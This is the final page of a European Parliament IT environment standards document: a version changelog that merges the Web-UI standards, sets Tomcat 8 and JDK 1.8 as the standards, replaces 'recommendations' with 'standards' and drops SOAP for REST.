Given the specific constraints of European Parliament, standard technologies can be describeda little bit before their actual availability in production environments.

When a given standard technology is not yet available in production environment at a giventime, here’s the course of action:

• If an older version of the standard technology is available (e.g. Tomcat 7 when Tomcat 8 isthe standard) the latest available version in production should be used.

• If an older version of the standard technology is NOT available yet, then which technologyto use should be specifically discussed with European Parliament and not guessed. Standardtechnologies may very well be made available in production during a project’s life, andintermediary environments providing that technology could be made available for aspecific context.

3.3.2. Added

• Web-UI standards, which merge and replace previous separate standards.

• A dedicated section for code testing standards.

3.3.3. Changed

• Various Web-UI related standards are now merged in 2 standards documents describing thestandard technologies to use: to code the web UI of an application (for desktop or mobileapplications) and to code the server-side APIs (to be accessed by the web UI).

• All standards were cleaned up from any references to specific corner-cases or exceptions.They do not mention former versions of technologies (e.g. standard Tomcat version is8.0.x, and standard version of JDK is 1.8.x, older versions are considered obsolete)

3.3.4. Fixed

• Removed improper references to "recommendations" in all documents, as the term"recommendations" (chosen a decade ago from a french-based documentation) isambiguous and misleading in English. In most cases, it is now referred to as "standards"when used as a noun, or replaced by something more affirmative when used as a verb.Though, "recommendation" or "recommend" are still used in these documents whensomething is seen as optional.

3.3.5. Removed

• SOAP: REST Web services are now the sole standard for implementing inter-applicationsynchronous communication (as opposed to asynchronous communication such as JMS, notimplying that HTTP is completely synchronous). Any specific corner-case (such ascommunicating with systems providing only a SOAP interface) is considered non-standardand should be maintained as such (e.g. all attempts must be made to get rid of suchsystems, and their use must be encapsulated using standard technologies).


Page 103 of 103

Documents

European Parliament IT Environment Version : 22 · 3.1.4 Network administration Administration of Parliament's network is handled via redundant stations at each site. 3.2 Telephony